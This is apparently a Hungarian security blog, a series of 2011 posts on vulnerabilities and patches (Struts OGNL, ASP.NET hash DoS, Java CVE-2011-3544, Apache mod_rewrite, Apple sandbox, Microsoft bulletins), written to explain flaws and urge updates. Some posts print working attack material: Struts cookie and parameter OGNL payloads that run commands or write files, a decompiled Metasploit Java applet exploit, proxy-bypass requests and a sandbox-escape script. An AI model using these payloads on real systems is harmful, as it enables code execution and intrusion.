Az Apache SF nem rég kiadta a Struts keretrendszer legfrissebb, 2.3.1-es változatát, amely több kritikus, akár kódfuttatásra alkalmas hibát orvosol. Ezekről részletes leírást adott ki a SEC Consult illetve szintén értékes információkhoz juthatunk velük kapcsolatban Johannes Dahse blogjáról. Nézzük hát, mik voltak a problémák, és hogyan lehetett őket kihasználni!

 A Strust keretrendszer az OpenSymphony XWork és OGNL könyvtárait használja. Az XWork-ről őszintén szólva semmi épeszű dokumentációt nem találtam, de nekünk most elég, ha annyit tudunk róla, hogy ez adja a Struts gerincét és néhány biztonsági beállítást ezen keresztül kell eszközölni. Az OGNL egy egyszerű, Java kódra leképződő nyelv, melyet a HTTP paraméterek értelmezéséhez használnak. A "product.id=1" OGNL kifejezés például a getProduct().setId(1) Java utasítássá alakul, de alapjáraton tetszőleges metódus, konstruktor és adattag hozzáférhető segítségével.

Alapjáraton, ugyanis a Struts megtiltja a statikus és nem statikus metódokhoz történő hozzáférést, emellett pedig egy fehérlistát is alkalmaz a paraméternevek szűréséhez:

acceptedParamNames = "[a-zA-Z0-9\\.\\]\\[\\(\\)_'\\s]+";

Az első probléma ott jelentkezik, hogy utóbbi fehérlistát egyszerűen nem alkalmazzák a Struts CookieInterceptor osztályában, ezért a kódfuttatás nagyjából triviálisan elérhető, ha engedélyezett a sütik nevének feldolgozása. Először engedélyeznünk kell a statikus metódusokhoz történő hozzáférést az XWork allowStaticMethodAccess tulajdonságán keresztül, majd meghívhatjuk a szokásos exec()-t:

Cookie: (#_memberAccess["allowStaticMethodAccess"]\u003dtrue)(x)=1; \ x[@java.lang.Runtime@getRuntime().exec('calc')]=1

Ez eddig laza volt, de lássuk, mi a helyzet akkor, ha a süti nevek értelmezése nincs beállítva! Ilyenkor meg kell küzdeni a fehérlistával, hogy URL-ben is tudjunk kung-fuzni. Mint kiderült, ez sem teljesen lehetetlen, mivel megadott karakterkészlettel setter metódusok hívhatók:

name=foo
x[name('foo')]=1

sőt, konstruktorok is, melyeknek egyetlen String paraméterük van:

x[new java.lang.String('foo')]

Innen már csak egy lépés, hogy tetszőleges fájlt létrehozzunk (vagy kiüssük a tartalmát). Az egyetlen baj, hogy a könyvtárstruktúrában nem tudunk mozogni a karakterkészlet megkötései miatt. Ezek a megkötések azonban csak a paraméternevekre és nem az értékekre vonatkoznak :)

x[new java.io.FileWriter(message)]=1&message=C:/test.txt

Ha esetleg valaki nem látná meg a lehetőséget egy egyszerű fájllétrehozásban: ilyen módon remekül gajra lehet vágni a rendelkezésreállást (kinullázod a servleteket vagy a konfigokat), kis szerencsével az integritás is megborítható, például ha fontos üzleti adatok leledzenek az alkalmazásszerver által hozzáférhető fájlokban (meg persze a naplók törlése sem mindig haszontalan), de a csillagok kedvező együttállása esetén akár kódfuttatás is elérhető (2. oldal, 1. hiba - ez itt a reklám helye :).

Johannes szerint a fenti módszerrel elméletileg akár írni is lehet a fájlokba, de megoldást nem közöl, a probléma továbbgondolása tehát ránk marad. Emellett érdemes lehet annak is utánajárni egy kicsit, hogy milyen elterjedt projektek használják még ezt a remek OGNL könyvtárat - az Apache kódjait nem amatőrök fejlesztik, máshol ennél csak gyengébb korlátozásokra számíthatunk!

A SEC Consult jelentése a fentieken túl még két hibára tér ki: Az egyik a Struts régebbi változatait érinti, és abból adódik, hogy a paraméterfeldolgozás közben keletkező kivételek kezelésekor a paraméter értékek is OGNL kifejezésként értelmeződnek, melyekre az itt tárgyalt korlátozások egyálalánnem vonatkoznak. A másik probléma debug módban hagyott alkalmazásokat érint, ilyen esetben a debug paraméteren keresztül elérhető a DebuggingInterceptor, mellyel ugyanazt lehet eljátszani, mint a CookieInterceptorral.

BÚÉK mindenkinek! Nem szeretnék ismét a posztritkulás miatt sajnálkozni, inkább egy megoldással (év eleji fogadalommal) állnék elő az okok rövid hosszabb részletezése után.

Nyilvánvalóan egyéb elfoglaltságaim is a blogolás rovására mentek az utóbbi időben, de fő hátráltató tényezőnek mégsem ezt látom. A fő probléma az, hogy az elmúlt év(ek?) megaincidenseinek köszönhetően a populáris média is felkapta ezt az IT-biztonság dolgot, amivel még nem is lenne baj, ha nem születnének sorban színvonaltalan, fogalmatlan, szenzációhajhász (még lenne kedvem sorolni a jelzőket...) cikkek naponta, a helyzeten pedig nem javít a sok nagytudású hozzászóló. Őszintén szólva se időm, de leginkább kedvem sincs minden egyes alkalommal megpróbálni helyreigazítani ezeket a hírportálokat.

Node, most, hogy kinyafogtam magam, jöjjön a megoldás: 2012-től kezdve minden hét végén kapni fogtok egy összefoglaló posztot a hét legfontosabb eseményeiről, tárgyilagosan és hasznos linkekkel megtűzdelve (ahogy azt már megszokhattátok ;). Így egyrészt meg tudom spórolni nektek a szarban pecázást, másrészt remélhetőleg lesz egy csomópont, ahonnan el tudtok majd indulni, ha egy-egy hír jobban érdekel titeket.

Figyeljétek a hírek cimkét, akció indul!

 Mégiscsak meglett a 100! A Microsoft kiadta az MS11-100 jelű javítócsomagot, melyben a tegnap tárgyalt DoS sebezhetőség mellett három másik problémát javítanak az ASP.NET keretrendszer Forms Authentication komponensében - emiatt a javítás besorolása kritikus!

Az első ezek közül nyílt átirányítást eredményez a keretrendszer beépített hitelesítő felületein, ami például adathalász támadásokhoz nyújthat segítséget a támadónak. A második sebezhetőség lehetővé teszi, hogy egy már létező felhasználó nevében regisztráljunk egy weboldalra, ehhez pedig mindössze a másik felhasználó nevére van szükségünk, amit beilleszthetünk a regisztrációs lekérdezésbe - durva mi? A harmadik probléma az autentikációhoz használt "ticketek" gyorsítótárazásából ered, és feltehetően session fixation-höz hasonló támadásokat tesz lehetővé. 

További infót találtok a legfrissebb SRD posztban.

Friss: A SEC Consult most megjelent hibajelentésében részletesebb információk olvashatók a jogosultságkiterjesztést lehetővé tevő hibáról. Eszerint a probléma abból ered, hogy a NULL bájtokat helytelenül sztring terminátorként kezeli a rendszer. A kihasználáshoz felhetetően NULL karaktert tartalmazó felhasználónevet kell regisztrálni a rendszerben.

Mégfrissebb: A SANS elemzése itt olvasható, tényleg egy NULL byte-on múlik a dolog.

Az n.runs szakértői egy webkiszolgálók és futtatókörnyezetek széles körét érintő, szolgáltatásmegtagadásra lehetőséget adó problémára hívták fel a figyelmet. A problémát a HTTP paraméterek belső adatstruktúrákká (pl. PHP-ban a $_POST asszociatív tömbbé) történő leképzésének mikéntje okozza. Az érintett szoftverek a beérkező HTTP kérések paramétereiből olyan módon építenek hash-táblákat, hogy egy támadó nagy számú kulcsütközést generálva képes lehet a kiszolgáló erőforrásainak jelentős részét lefoglalni.

Hash-tábla gyorstalpaló: A hash-tábla kulcs-érték párok összerendelésére való, leginkább azért szeretjük, mert hatékonyan lehet benne keresni. A beszúrás úgy történik, hogy ráeresztünk egy (fix hosszúságú kimenetet adó) hash-függvényt a kulcsra, és az értéket a hash kimenet szerinti táblázat (tömb) indexnél helyezzük el - a többi művelet innentől nagyjából triviális. A hash-függvény nem egy kriptográfiailag biztonságos üzenetpecsét algoritmust rejt, hanem valami lényegesen egyszerűbbet, hiszen általában kisebb kimenetméretre, viszont nagyobb teljesítményre van szükségünk.

Kulcsütközés esetén új adatstruktúrák bevezetése válik szükségessé, vagy szabad helyet kell keresni a táblában. Bár implementációtól függően ezek plusz erőforrásigénye eltérhet, az n.runs elemzése szerint a vizsgált programokban gyakori ütközés esetén a keresés O(n^2) -tel arányos műveletet igényelhet, ami nem túl jó.

A nagy számú ütközés előidézésére a támadónak két lehetősége van:

Néhány hash-függvényre jellemző, hogy ha két karakterlánc (s1 és s2) ütközik, akkor minden olyan karakterlánc ütközik, melyben s1 illetve s2 azonos pozícióban szerepelnek.  Ezek után egyetlen ütközés birtokában könnyű számos újabb ütkőzést generálni.

A másik egy középen-találkozó (meet-in-the-middle) módszer a nyers erőn alapuló támadás gyorsítására. A dolog lényege, hogy a hash függvény kimenetéből visszafelé indulva megpróbálunk eljutni az algoritmus egy köztes állapotáig, majd ezt az állapotot próbáljuk meg nyers erővel két irányból közelíteni, melynek eredményeként a bemeneti tér mérete a négyzetgyökére csökkenthető. 

Lényeg ami a lényeg: egy megfelelően összeállított, (néhány) száz kB-os POST kéréssel egy ASP.NET kiszolgáló CPU-ja 90-110 másodpercre 100%-ra ugrik, vagyis egy gigabites vonalról le lehet dönteni egy 30.000 i7-es magot ketyegtető szerverfarmot.

A Microsoft már készül a javításra, az Oracle pedig szintén tervez hozzávenni egy foltot a következő Glassfish CPU-hoz. Az Apache Tomcathez elérhetővé vált egy konfigurációs opció, mellyel meghatározható az egy lekérdezésben maximális elfogadható paraméterszám. A CRuby és JRuby legfrissebb snapshotjaiban szintén orvoslásra került a probléma. Sajnos azonban számos termék érintett ezek mellett, részletesebb lista az n.runs közleményében olvasható.

Friss: Itt található egy PoC exploit, a hibát részletező előadás pedig elérhető a 28C3 felvételei között.

Asheesh Larioa egy régen sejtett problémát sikerült demonstrálnia a rövd GnuPG kulcs azonosítókkal (short key ID) kapcsolatban. A kulcsok könnyebb azonosításához használt 32-bit hosszú azonosító ugyanis nyilvánvalóan rövid ahhoz, hogy az ütközéseket - vagyis azt, hogy két különböző kulcs azonosítója megegyezzen - elkerüljük. Larioa most írt egy szkriptet, mellyel állítása szerint 3 óra alatt képes választható rövid azonosítóval rendelkező kulcsot kreálni egy buta netbookon. 

A probléma természetesen elvi szinten nem befolyásolja bármely PGP implementáció biztonságát, hiszen a teljes, azonosítók még mindig egyértelműen megkülönböztetik a kulcsokat. Gyakorlati szempontból viszont aggodalomra adhat okot, hogy a 

gpg --recv-key 70096AD1

parancs jelenleg két kulcsot is importál. Még rosszabb hír, hogy a kulcsszerverek kizárólag a rövid azonosító alapján képesek keresni, így a teljes azonosító ismerete sem segít. Ráadásul - szemben pl. a comp.security.pgp GyIK-ben állítottakkal - mindkét kulcs "rendes" kulcsméretekkel rendelkezik, így nem lehet olyan könnyen kiszúrni, melyikük az igazi.

Bár a generáló szkript egyelőre nem nyilvános, egy kis elméleti háttér illetve rokon implementációk birtokában nem tűnik vészesen bonyolultnak egy saját program összerakása sem. 

Megoldásként Larioa egy olyan foltot javasolt, ami lehetővé teszi a teljes azonosító szerinti keresést a kulcsszervereken.

Kellemes Karácsonyt mindenkinek, holnap dél körül a Fogasház ünnepi nyitvatartása miatt legelőbb 4-kor nyitom ki a HACK-et (VII. Akácfa utca 51.), lehet jönni közvetítést nézni, hackelni, matét inni, és nem utolsó sorban lockpickelni (ez a program 4-kor kezdődik). 

Részletes státuszinfóért figyeljétek a Twittert! (14:21) Jelenleg az Akácfa-Wesselényi sarkán lévő Galériában ülünk.

trey@HUP:

Colin Percival, a FreeBSD biztonsági tisztviselője beköszönt karácsony előtt és mindjárt hozott magával 5 biztonsági figyelmeztetőt. Percival elismeri, hogy az időzítés őszintén szólva szívás. A FreeBSD Security Team igyekszik a biztonsági figyelmeztetőket szerdán kiadni, mert akkor a legtöbb rendszeradminisztrátor feltehetően dolgozik, illetve igyekeznek ünnepek - pl. a küszöbön levő karácsony - előtt figyelmeztetőt - érthető okoból - nem kiadni. Most mégis kénytelenek voltak, pedig itt a karácsony hétvégéje és a világ egyes részein már szombat van.

Az ok, amiért eltértek a megszokottól az, hogy az egyik figyelmeztetőben (FreeBSD-SA-11:08.telnetd) egy olyan remote root problémáról van szó, amelyet jelenleg is aktívan kihasználnak. A jó hír az, hogy telnet-et kevesen használnak már, az emberek többsége rég áttért SSH-ra. Ettől függetlenül a csapat úgy ítélte meg, hogy ennek a problémának a javítása nem várhat.

Colin Percival levele itt.

A probléma a NetBSD-t is érinti (thx Hunger), de a sebezhető kód többek között a GNU Darwin és az Apple oldalain is szerepel. A kiadott közlemény elég egyértelműen meghatározza a hiba okát: a telnet kiszolgáló titkosított kapcsolat esetén nem ellenőrzi a kapott titkosító kulcs méretét, melyet egy fix hosszúságú pufferbe másol, és itt vége a játéknak.

Friss: itt az exploit

P küldte a hírt, közben pedig a Full-Disclosure-n is megjelent, hogy a Ubiquiti eszközein alkalmazott AirOS rendszerben távolról kihasználható, root jogosultságot adó hibát azonosítottak, melyet automatizált módon ki is használ egy féreg. A problémát egy autentikáció nélkül elérhető adminisztrátri felület okozza, ahol közvetlen fájlmanipulációra, illetve parancsvégrehajtásra van lehetőség:

A patch már elérhető a hivatalos oldalon, de sokan még nem frissítettek. Eltávolítási információ itt olvasható.

Mint azt korábban már említettem, kicsit rendbeszedtem a kedves olvasóktól érkező hibajeletéseket, így most, az év vége közeledtével tudok pár (remélhetőleg) érdekes számmal szolgálni:

Augusztus vége óta 17 sebezhetőség jelentésében segédkeztem, ezek közül 9-re érkezett pozitív visszajelzés (megértették a problémát, megteszik amit lehet), a többieknél - nagy részükkel már itt, a blogon is találkozhattatok - néma csend. Mindez havi átlag 4-5 sebezhetőséget jelent, és elmondhatjuk, hogy az érintettek több, mint fele veszi a lapott. Utóbbi adat akár bíztatónak is tűnhet, de a teljes képhez hozzá tartozik, hogy kritikus rendszerek esetén átadom a stafétát a nálam lényegesen nagyobb meggyőzőképességgel rendelkező hivatásosoknak - az ő segítségüket ezúton is köszönöm, nélkülük valószínűleg sokkal szomorúbban festene a helyzet. Jövőre a csőben van még hat jelentés, remélem javul majd a tendencia!

 Rég volt ilyen sűrű az év vége a környékemen, de szerencsére megvan az előnye annak is, ha egy kicsit nagyobb késéssel számolok be a Microsoft havi foltáradatáról, nevezetesen, hogy nem kell publikáció után 10 percenként frissíteni a posztot, mivel már rendelkezésre áll egy csomó finom kiegészítő adat :)

MS11-087: Az ehavi sztárjavítás a DuQu által kihasznált, kernel módú font kezelő driver hibáját betömő folt, a Windows összes támogatott változatához. Mint az kiderült, a probléma egy sima Word fájlon keresztül triggerelhető, és rendszerszintű kódfuttatást eredményez, de célpont lehet bármilyen TrueType fontokat megjelenítő alkalmazás, tehát a böngészők is, így a böngéssz-és-lezúzlak (bocs :) történetet is elő lehet adni. Az SRD azt tanácsolja, hogy a frissítés telepítése mellett tiltsuk le az egyedi betűkészletek megjelnítésének lehetőségét az Internet Explorerben, ezzel is csökkentve a jövőbeni támadási felületet, hiszen hasonló sebezhetőségre láttunk már példát korábban is. (Persze lesznek olyanok, akinek fontosabb, hogy a céges oldal betűi pont úgy görbüljenek, a velük való hadakozáshoz sok sikert mindenkinek!) 

MS11-088: Ez egy kínai nyelvi támogatáshoz készült Input Method Editor jogosultságkiterjesztést javító folt. Nem vesztegetnék rá több szót.

MS11-089: Use-after-free hiba javítása az Office 2007-es és 2010-es változataihoz. A ZDI hibajegy szerint a hiba egy bizonyos szegély-jellemző beállításakor jelentkezik. A kettővel ezelőtti hibával ellentétben itt természetesen csak az Office-t futtató felhasználó jogait kapja meg a támadó.

MS11-090: Tegye fel a kezét, aki kapásból tudja, hogy mi az a HTML + TIME1.0! Sokkal most sem lesztek okosabbak (de itt van egy GYIK az SRD-től): ezt a remek HTML kiegészítést még az IE5-höz találták ki, valószínűleg azóta se használta senki, eredetileg arra lett volna jó, hogy időzítve jelenítsünk meg dolgokat egy weboldalon. A gyakorlatban a viselkedést megvalósító AcitveX vezérlőn keresztül lehet kódot futtatni IE6-on, szóval ez még sebezhetőségnek is gyenge :)

MS11-091: A Publisher kódfuttatást lehetővét tevő hibájának javítása a szoftver 2003-as és 2007-es változataihaz.

MS11-092: A Windows Media Player .dvr-ms formátumot feldolgozó kodekjének javítása. A lejátszó hibája kódfuttatást tett lehetővé minden asztali Windows változaton, a hiba kihasználása Vistán és 7-en nyilván bonyolultabb, mint XP-n. 

MS11-093: OLE objektumokon keresztüli kódfuttatást biztosító probléma javítása XP-hez és 2003-hoz. OLE objektumokat használva gyakorlatilag bármilyen MS-os formátumot beágyazhatunk egy másikba, ami a biztonsági szoftverek detektálási képességeire nem feltétlenül van a legjobb hatással, így el tudom képzelni, hogy ezen sebezhetőség kihasználásával fognak lopakodó módba kapcsolni egyesek.

MS11-094: Egy DLL hijacking és egy OfficeArt shape rekordok feldolgozását érintő hiba javítása PowerPointhoz. Az Office 2007 SP2 és 2010-es változataihoz tartozó, valamint Mac-es programváltozatok érintettek. 

MS11-095: Na ez még egy finom darab: puffer túlcsordulás hiba javítása az Active Directory szolgáltatásokban. A támadónak be kell jelentkeznie a tartományba, majd "le kell futtatnia egy speciálsi programot" a hiba kihasználásához. Ami érdekes, hogy a hiba besorolása távoli kódfuttatás és nem helyi privilégiumemelés, tehát valószínűsíthető, hogy egy tartományfelhasználó rögtön megütheti a DC-t azzal a "speciális programmal"! Az érintett rendszerek és a pontos AD szolgáltatások listájáért csekkoljátok a hivatalos közleményt!

MS11-096: Az Office 2003 SP2 Excel-jét érintő, kódfuttatásra alkalmas sebezhetőség javítása. Ebben a hónapban is egy nagy halom Office sebezhetőséget kaptunk, használjátok az Office File Validation-t, hátha el tudtok kerülni egy-két, még nem ismert támadást!

MS11-097: Jogosultságemelésre alkalmat adó sérülékenység javítása a CSRSS alrendszerben - ilyet is láttunk már korábban. A leírás szerint egy exploitnak egy magasabb integritási szinten futó folyamatnak kell üzenetet küldenie a hiba kihasználásához, ami azért érdekes, mert XP SP3 is érintett, miközben az integritás-kontrollt elvileg a Vistában vezették be (de javítsatok ki ha tévedek). Minden esetre végre van egy új lehetőség a 2008 szerverek gyalázására :)

MS11-098: A Windows kernel kivételkezelőjének javítása. A foltozott probléma jogosultságkiterjesztést tett lehetővé 32 bites rendszereken.

MS11-099: Az ehavi Internet Explorer megamix elég gyengére sikerült: a legdurvább hiba egy DLL hijack, a másik kettő információszivárgást tesz lehetővé, szóval kivételesen egyáltalán nincs ok a pánikra emiatt a bulletin miatt.

Ééééés...csak nem értük el a százat az idén!

Már a hazai sajtó is tele lett kürtölve a legújabb Adobe Reader sebezhetőségről szóló hírekkel, nézzük mit tudunk:

A soron kívüli javítást beharangozó, hivatalos Adobe közlemény szerint a sebezhetőségeket célzott támadások kezelése során észlelték - állítólag a Lockheed-Martinnál. Ez egyrészt azt jelenti, hogy a felhasználók többsége egyelőre nyugodtan megmaradhat a "kattintsunk mindenre ami mozog" stratégiánál (és valószínűleg ezért sem kapkod a gyártó az összes változat javításával), másrészt valószínűsíthető, hogy a már rég óta zajló virtuális miniháború újabb fejezetének lehetünk tanúi. Hogy mi a sebezhetőség kiváltó oka, arról egyelőre nem sokat tudni, de Brandon Dixon talált egy érdekes fájlt, ami lezúzza a legfrissebb 9-es Adobe Readert, JavaScripttel heap spray-el, és egy U3D objektumot tartalmaz. Az U3D feldolgozó hibáját kihasználó exploittal már találkozhattunk (elég jó megbízhatósággal lehet alkalmazni a mai napig frissítetlen rendszereken), a találattal pedig egybevág a CERT köleménye is, ami szintén U3D hibáról beszél. A képet azonban valamennyire árnyalja, hogy a JS-t tartalmazó PDF-ekere a letöbb víruskergető heurisztikája ugrik, ilyen megoldással a L-M-nál bepróbálkozni (első közelítésben legalábbis) nem kecsegtet sok sikerrel.

Szintén érdekes összeesküvéselméleteknek szolgálhat táptalajul, hogy egészen véletlenül pont ma jelentette be Evgeny Legerov, hogy a VulnDisco exploit-csomag újabb remek taggal - egy Adobe REader 0-day exploittal - bővült... Húha, ezt csúnyán benéztem, ugyanis itt egy Flash exploitról van szó, bocsi!

Gyorsjavítás az olvasó 9-es, windowsos változatához jövő héten, a többi változathoz január 10-én várható.

Friss:

A contagio elemzése itt olvasható. A Dixon által felfedezett fájl egy előző támadás során már megismert trójait telepít az áldozatra.

Ezen a hétvégén a szórakozás hiperkocka változatát választottam: a CrySys csapatával részt vettem az idei iCTF játékon, és megoldottam a GCHQ kémfeladványának izgalmasabb részét. Előbbiről remélem hamarosan össze tudunk hozni valamilyen összefoglalót, utóbbiról ebben a posztban fogok megemlékezni.

Aki ismer, az tudja, hogy általában nem igazán szeretem a "kincskeresés" jellegű ("találd meg a képbe rejtett jelszavazott ZIP fájlt, aminek páronként fel vannak cserélve a bájtjai") feladványokat, amilyeneket a hasonló internetes versenyeken fel szoktak adni. Akkor kezdtem el foglalkozni egyáltalán a dologgal, mikor kiderült, hogy a "megoldást" beindexelte a Google... Mint kiderült, a Naked Security - akiket a brit titkosszolgálat megbízott a verseny lebonyolításával - olyan feladatokat eszelt ki, melyek még úgy is oda tudtak szögezni a gép elé, hogy pénteken már kifárasztottak, és alapvetően nem is érdekelt a téma. A feladatok játékosan kérnek számon a mindennapi munka/hackelés során is gyakran felmerülő képességeket olyan szinten, hogy azért ne kelljen kellemetlenül sok időt eltölteni a megoldással. A végigjátszást ezért mindenkinek ajánlom. Az alábbiakban igyekszem nagy vonalakban bemutatni a megoldást és a buktatókat, ezzel remélem segítek annak aki elakadt, de teljes megoldást közelről sem közlök, hogy megmaradjon az élvezet :) Szóval innentől vigyázat, spoiler alert!

Lockpicking workshoppal és bugkereső hackathonnal egybekötött 28C3 közvetítést (No Nerd Left Behind) szervezünk a HACK-be. A konferencia december 27-30. között tart, az eddigi szűk körű felmérés alapján mi 27-én és 28-án biztosan várni fogjuk az érdeklődőket, a későbbi napok programja a résztvevők számának függvényében fog alakulni. 27-én Lockpickersrác haladó zárnyitó workshopot tart:

...beszélnék különleges zárak nyitási technikáiról (mint pl. körzárak, tárcsás zárak, by-passz technikák, stb) és impressziótechnikáról, azaz hogy jussunk be egy reszelővel roncsolás mentesen

Mindeközben néhányan szoftver sebezhetőségekre fogunk vadászni, illetve a HACK eszköztára és hackelhető projektjei is rendelkezésre állnak. 

A részvételi szándékot legyetek szívesek a jobb oldali dobozban jelezni!

Frissítés: Majdnem elfelejtettem, hogy Szombathelyen is szerveződik közvetítés, ezzel kapcsolatban Csabát érdemes keresni (de persze én is tudok proxy-zni).

A legutóbbi Open Academy-n is igyekeztem hangsúlyozni, hogy milyen remek dolog is egy Java sebezhetőség - bizonyos szempontból a platformfüggetlenség és a megbízhatóság a tervezési hibák esetében jobban érvényesül, mint bármilyen hétköznapi alkalmazás esetében... Mindezt megspékelve a különböző verziók egymás közti gyakori kibékíthetetlenségével - ami a frissítési kedv radikális visszaeséséhez vezet -, máris megkaptuk napjaink (egyik) legkedveltebb malware-terjesztő platformját.

A legújabb sláger a CVE-2011-3544 névre keresztelt darab, amit jelenleg is aktív támadások lebonyolításához használnak fel szerte a weben, fel is emelték emiatt a riasztási szintet az okosok. Az exploit idő közben bekerült az MSF-be (nem rég 4000$-ért osztogatták a fekete piacon a kódot), én pedig a kedvetekért visszafejtettem a modul lelkét képző osztályt, íme:

import java.applet.Applet;
import javax.script.Bindings;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;
import javax.script.ScriptException;
import javax.swing.JList;
import metasploit.Payload;

public class Exploit extends Applet
{
  public void init()
  {
    try
    {
      ScriptEngine localScriptEngine = new ScriptEngineManager().getEngineByName("js");
      Bindings localBindings = localScriptEngine.createBindings();
      localBindings.put("applet", this);
      Object localObject = localScriptEngine.eval(  // innentől JavaScript
          "this.toString = function() {"+
              "java.lang.System.setSecurityManager(null);"+
              "applet.callBack();"+
              "return 'metasploit';};"+
          "c = new Error();"+
          "c.message = this;"+
          "c",                                           // idáig JavaScript

           localBindings);

      JList localJList = new JList(new Object[] { localObject });
      add(localJList);
    } catch (ScriptException localScriptException) {
      localScriptException.printStackTrace();
    }
  }

  public void callBack() {
    try {
      Payload.main(null);
    }
    catch (Exception localException)
    {
    }
  }
}

Nézzük, mi is történik! Ehhez segítségül ez a remek elemzés szolgálhat. Az exploit a Java Scripting Framework JavaScript implementációjának hibáját használja ki. Itt lényegében egy Javaban implementált JavaScript motorról beszélünk, ami többek között megengedi számunkra, hogy Java objektumokat kössünk JavaScript változókhoz, jó mi? Az ám, főleg mivel az így futtatott szkriptek nem tartoznak a SecurityManager hatáskörébe, így a keretrendszernek kell gondoskodnia arról, hogy mindenki rendesen viselkedjen. Ezt természetesen nem sikerült elsőre(?) tökéletesen megvalósítani.

Látható, hogy a turpisság a this.toString() JS metódusban történik, itt mondjuk meg ugyanis a Java Virtuális Gépnek, hogy bármit megtehetünk, valamint a Payload is innen kerül meghívásra. A this objektum ez után egy JS Error objektum message adattagjához rendelődik. Az eval() lefutása után a localObject már Java kódként tartalmazza a megadott JavaScriptet, ekkor a JS Error objektum egy Java NativeError objektummá alakul. A bökkenő ott van, hogy a message attributumot felhasználó NativeError.toString() metódus lefutásakor nem kerül ellenőrzésre az adott biztonsági kontextus, így az itt lévő kód pontosan a hívó jogosultságaival fog lefutni. A jogosultság ebben az esetben pedig a JList osztálytól "öröklődik", akiben, mint a javax.swing csomag tagjában, alapvetően megbízik a futtató környezet. 

Ha nem akarjátok beszívni a fenti rosszcsontot, frissítseek a legfrissebb Javára, tök mindegy, hogy Windows-on, Linux-on, Mac-en vagy bármilyen más rendszeren toljátok, ami Javát futtat!

Nagyjából két hónapja írtam egy lehetőségről a mod_rewrite-tal működő reverse proxy-k kijátszására. Az Apache akkor hibajavítást adott ki a helyzet orvoslására, ami azonban úgy tűnik, nem sikerült tökéletesen. Joe Orton felfedezte, hogy a következő kérésekkel még mindig be lehet látni olyan helyekre, ahova nem lenne szabad a

RewriteRule ^(.*) http://www.example.com$1 [P]

konfiguráció esetén:

GET @localhost::8880 HTTP/1.0\r\n\r\n
GET qualys:@qqq.qq.qualys.com HTTP/1.0\r\n\r\n

Hivatalos javítás egyelőre nincs, de Orton javasolt egy módosítást, amit alkalmazhat az, aki szükségét érzi.

M1key hívta fel a figyelmem, hogy egy halom magyar weboldal feltöréséről szóló poszt jelent meg ezen a suttyófórumon. Általában nem szeretek reklámot csinálni hülyegyerekeknek, de ebben az esetben beleütköztem néhány érdekes/vicces dologba. 

Mindenek előtt a nagytudású T3es úgy gondolta, hogy egy tényleges bank rendszeréhez sikerült hozzáférnie egy shared hosting (úgy nézem deja.hu) szolgáltatónál, mivel az okobank.hu domain-nevében szerepel a "bank" szó, a kis barátai meg várják a CC dumpokat, szánalom...

Aztán a hős defacer által posztolt képernyőképeken látható egy helyi root exploit:

Rövid guglizás után úgy tűnik, hogy a CVE-2010-3301 jelű sebezhetőségre készült exploitról van szó, amiről egészen jó elemzés olvasható itt. Humorbonbonként pedig egy, a találatok nagyobbik részét kiadó, különböző fórumokra posztolt Perl(!) szkript gyönyörűségeit érdemes ízlelgetni. A kedves alkotóra még a szkriptsuttyó kifejezés is túlzó lenne...

Itt tudjátok böngészni az érintett domainek listáját. Főleg zöld szervezetekről van szó, ha ismeritek valamelyiküket, értesítsétek őket! Ja, és megjegyezném, hogy keleti barátaink messze nem a legújabb vBulletint használják...

Érdekes hírek érkeztek a napokban: állítólag támadás ért több norvég iparvállalatot és egy illinois-i vízmű SCADA rendszerét is (ez utóbbi hírt az FBI cáfolja).

Az ezekhez hasonló, kifinomult, modern fenyegetettségek anatómiájáról fogok beszélni a holnapi OpenAcademy-n, ennek is köszönhető az elmúlt napok poszthiánya, amiért elnézéseteket kérem! Részletes program és regisztráció itt.

A Core Security Technologies nem rég egy több szempontból is érdekes blog posztot tett közzé, melyben két sebezhetőség bejelentésének történetét mesélik el, összevetve a gyártók hozzáállását. Az egyik sebezhetőség az Apple hálózati elérést korlátozó sandbox-ából teszi lehetővé a kijutást, egy igen egyszerű módszerrel.

A no-network sandbox profil az Apple dokumentációja szerint megakadályoz minden socket alapú hálózati kommunikációt azon alkalmazásoknak, melyekre a profilt alkalmazzák. A korlátozás ugyanakkor nem terjed ki az ún. Apple események küldésére. A Core Security ugyanakkor megmutatta, hogy ezen események felhasználásával elérhető, hogy egy másik, nem sandboxolt alkalmazásnak "kiszólva" hálózati kapcsolatokat nyissunk. A problémát az alábbi elegáns Python szkript szemlélteti:

import os
import sys
import socket

if len(sys.argv) != 2:
    print "[-] Usage: sandbox-exec -n no-network python %s hostname" % sys.argv[0]

try:
    targetIP = sys.argv[1]
    s = socket.socket()
    s.connect((targetIP, 80))
    s.send('GET /\r\n\r\n')
    print(s.recv(1024))
    print "\n\n\n[+] Sandbox escaped"

except Exception, e:
    if "Operation not permitted" in str(e): #print repr(e)
        print "[-] Blocked by seatbelt"
        print "[ ] Escaping..."
        os.system("""/usr/bin/osascript -e 'tell application "Terminal" to do script "python %s %s"'""" % (sys.argv[0], targetIP))

A történet legérdekesebb része azonban nem ez, hanem a gyártó reakciója: a profil kijavítása helyett a sandbox dokumentációt fogják frissíteni, kitérve arra, hogy a no-network profil csak addig érvényes, amíg a korlátozandó alkalmazás nem kezd el más folyamatokkal beszélgetni. A reakció már csak azért is meglepő, mert Charlie Miller a fentiekkel gyakorlatilag megegyező technikát prezentált a 2008-as BlackHat JP-n, ami után az Apple javította is a sandbox profilok problémáját.

Lazán kapcsolódó hír, hogy Millert nem rég kitiltották az Apple fejlesztői programjából, miután aláíratlan kód futtatására alkalmas hibát demózott iPhone-on. Ez utóbbi problémáról lesz majd poszt, ha megjelennek a pontos technikai részletek.

Kedd óta elgé nagy a nyüzsgés a Windows TCP/IP stackjének hibájával kapcsolatban, amit a Microsoft az MS11-083 jelű csomaggal javított. Mint az ismeretes, egy zárt portra küldött UDP folyammal triggerelhető a hiba, ami igen meglepő, és (látszólag) jelentősen megnöveli a kihasználás lehetőségét, hiszen gyakorlatilag minden rendszeren találunk zárt UDP portot. 

